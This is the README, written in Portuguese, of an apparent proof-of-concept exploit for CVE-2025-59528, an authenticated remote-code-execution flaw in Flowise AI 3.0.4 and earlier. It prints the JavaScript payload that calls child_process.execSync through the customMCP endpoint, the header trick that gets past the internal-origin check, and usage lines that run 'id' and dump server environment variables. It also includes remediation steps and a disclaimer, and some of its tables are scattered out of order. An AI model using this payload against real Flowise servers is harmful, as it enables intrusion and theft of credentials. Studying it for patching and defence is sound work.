
Exploit autenticado de Execução Remota de Código (RCE) para Flowise AI versões ≤ 3.0.4. Aproveita uma vulnerabilidade no endpoint /api/v1/node-load-method/customMCP para executar comandos arbitrários do sistema via Node.js child_process.execSync(). Inclui script PoC completo e etapas de remediação.
ID do CVE: CVE-2025-59528
Software Afetado: Flowise AI
Versões Vulneráveis: <= 3.0.4
Versão Corrigida: 3.0.5 e posterior
Severidade: Crítica
Autor: r3nsi15
Data: 2025
As versões do Flowise AI até 3.0.4 (inclusive) permitem que um usuário autenticado alcance execução remota de código (RCE) no servidor host ao enviar um payload JavaScript especialmente elaborado para o endpoint /api/v1/node-load-method/customMCP.
O método de carregamento do nó customMCP aceita entrada controlada pelo usuário que é avaliada no lado do servidor como JavaScript, sem sanitização ou sandboxing adequados. Ao injetar um payload que aproveita o child_process.execSync do Node.js, um atacante pode executar comandos arbitrários do sistema operacional com os privilégios do processo do servidor Flowise.
O endpoint também exige que o cabeçalho x-request-from: internal esteja presente.
| Endpoint | Método | Autenticação Necessária | Objetivo |
|---|---|---|---|
/api/v1/auth/login | POST | Não | Autenticar e obter sessão |
/api/v1/node-load-method/customMCP |
Arquivo: CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
Verificar execução de código:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Recuperar variáveis de ambiente do servidor:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
O exploit injeta a seguinte expressão JavaScript no campo mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — carrega o módulo de execução de processos nativo do Node.js.execSync('<command>') — executa sincronamente o comando do sistema operacional fornecido pelo atacante.O cabeçalho x-request-from: internal também é adicionado à requisição para passar por uma verificação de origem interna que, de outra forma, bloquearia a chamada.
O endpoint customMCP passa a entrada fornecida pelo usuário diretamente para um contexto de avaliação JavaScript no servidor, sem sanitização ou sandboxing. Combinado com o acesso irrestrito aos módulos principais do Node.js (especificamente child_process) via process.mainModule.require, isso cria um vetor de RCE trivialmente explorável. A verificação do cabeçalho x-request-from não fornece uma barreira de segurança significativa, pois não é validada contra nenhuma fonte confiável.
Essas duas vulnerabilidades podem ser encadeadas para um caminho de ataque RCE não autenticado contra instâncias do Flowise executando versões <= 3.0.4:
child_process, fs, etc.) por meio de um sandbox adequado (por exemplo, vm2, contextos isolados, ou remoção do acesso a process.mainModule).x-request-from por meio de um mecanismo no lado do servidor, em vez de uma simples verificação de string.Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. O uso deste script contra sistemas sem permissão explícita por escrito é ilegal e antiético. O autor e os colaboradores não assumem nenhuma responsabilidade pelo uso indevido.
| POST |
| Sim (cookie de sessão) |
| Endpoint vulnerável do método de carregamento de nó |
| Flag | Forma Longa | Obrigatório | Descrição |
|---|
-e | --email | Sim | Endereço de e-mail do usuário autenticado |
-i | --url | Sim | URL base da instância Flowise |
-p | --password | Sim | Senha do usuário autenticado |
-c | --cmd | Sim | Comando do sistema operacional a ser executado no servidor |